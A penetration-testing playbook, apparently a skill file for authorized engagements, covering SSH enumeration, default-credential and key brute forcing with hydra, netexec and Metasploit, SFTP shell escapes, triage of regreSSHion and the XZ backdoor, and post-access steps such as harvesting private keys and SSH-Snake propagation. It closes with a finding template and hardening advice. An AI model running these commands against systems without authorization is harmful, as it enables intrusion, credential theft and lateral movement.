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pentesting-ssh Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements.
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name pentesting-ssh description Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements. domain cybersecurity subdomain network-services-pentesting tags ["penetration-testing","network-services","ssh"] version 1.0 author xalgorix license Apache-2.0
Pentesting SSH (port 22)
When to Use
Default port 22/tcp; management/embedded services may expose SSH/Erlang-OTP on 2022, 830, 2222.
When nmap/banner shows ssh, OpenSSH, Dropbear, libssh, wolfSSH, or an SSH-2.0-* banner.
For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.
Quick Enumeration
nc -vn <IP> 22
ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22
nmap -p22 <IP> -sV
nmap -p22 <IP> -sC
nmap -p22 <IP> --script ssh2-enum-algos
nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
Critical: Checks Most Often Missed
Auth-method downgrade — strong methods enabled without disabling password. Verbose mode reveals weaker methods still offered.
Default / known credentials — vendor defaults are common on appliances (see table). Also try SecLists ssh-betterdefaultpasslist.txt.
How to CONFIRM: hydra -l <user> -P creds.txt -t 4 ssh://<IP>.
Weak / leaked host & user keys — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
How to CONFIRM: nmap --script ssh-publickey-acceptance or msf> use scanner/ssh/ssh_identify_pubkeys. SFTP shell escape — users confined to SFTP with /usr/bin/nologin can still get command execution by requesting a command at connect time.
How to CONFIRM: ssh user@<IP> id or ssh user@<IP> /bin/bash returns output despite "no shell".
High-impact CVEs to triage from the banner:
regreSSHion CVE-2024-6387 (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when LoginGraceTime is non-zero.XZ backdoor CVE-2024-3094 (liblzma 5.6.0/5.6.1) — sshd RSA_public_decrypt hook; verify what's installed, do not trust banner alone.Erlang/OTP SSH CVE-2025-32433 — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).libssh CVE-2018-10933 — server accepts client-sent SSH_MSG_USERAUTH_SUCCESS.
How to CONFIRM the XZ backdoor (avoid banner false negatives) xz --version
rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
sha256sum /usr/lib*/liblzma.so*
ldd /usr/sbin/sshd | grep -E "systemd|lzma"
Workflow
Step 1: Enumerate (version, algorithms, auth methods) ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
Step 2: Authenticate (default creds, keys, brute force)
hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
nxc ssh <IP> -u users.txt -p passwords.txt
nmap --script ssh-publickey-acceptance -p22 <IP>
msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/
sudo ntpdate <dc.fqdn>
kinit <user> ; klist
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Step 3: Exploit / Extract (escape, tunnel, CVE)
ssh user@<IP> /bin/bash
sftp> symlink / froot
sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET} " ::: {1..4000}
Step 4: Post-access / pivot
Harvest ~/.ssh/id_*, authorized_keys, known_hosts, and .bash_history for lateral movement.
Use SSH-Snake to recursively self-propagate across hosts using discovered private keys.
For MitM credential capture on the LAN, combine ARP/DNS spoofing with SSH-MITM .
Key Concepts Concept Description Algorithm audit Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with ssh-audit/ssh2-enum-algos. Auth-method downgrade password left enabled alongside publickey; forced via PreferredAuthentications=password.Vendor defaults Appliances ship known user:pass pairs (Cisco, Dell, HP, Huawei, etc.). Weak PRNG keys Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). SFTP escape Requesting a command at login bypasses nologin/forced-command restrictions. State-machine flaws Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). GSSAPI/Kerberos auth TGT-based login when the server exposes a host SPN.
Tools & Systems Tool Purpose nmap NSE ssh2-enum-algos, ssh-hostkey, ssh-auth-methods, ssh-publickey-acceptance.ssh-audit Server/client config audit; algorithm + CVE reporting (jtesta fork). ssh-keyscan / openssl Host key fingerprinting and banner grabbing. hydra / netexec (nxc) Credential brute force and spraying. Metasploit scanner/ssh/ssh_version, ssh_enumusers, ssh_identify_pubkeys, juniper_backdoor.SSH-Snake / SSH-MITM Key-based self-propagation; MitM credential capture. ssh-keybrute.py Lightweight python key brute-forcer with legacy algorithm support.
Common Scenarios
Scenario 1: Password auth left enabled → brute force ssh -v <IP> shows password is still offered behind publickey. Forcing PreferredAuthentications=password and running hydra with the SecLists default list yields a valid login.
Scenario 2: SFTP-only user escapes to a shell A backup user is configured with ForceCommand internal-sftp but the password/keyboard-interactive method still spawns a shell. ssh backup@<IP> /bin/bash returns an interactive root-group shell.
Scenario 3: Vulnerable OpenSSH banner Banner reveals OpenSSH 9.2p1 with non-zero LoginGraceTime. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.
Output Format ## SSH Finding
**Service**: SSH
**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
**Severity**: High
**Finding**: Password authentication enabled with weak credentials
**Evidence**:
- ssh -v <IP>: "Authentications that can continue: publickey,password"
- hydra ssh://<IP>: login "deploy:Summer2024" valid
**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
**Recommendation**:
1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
2. Disable root login (`PermitRootLogin no`).
3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
4. Patch the daemon and restrict exposure of management ports.
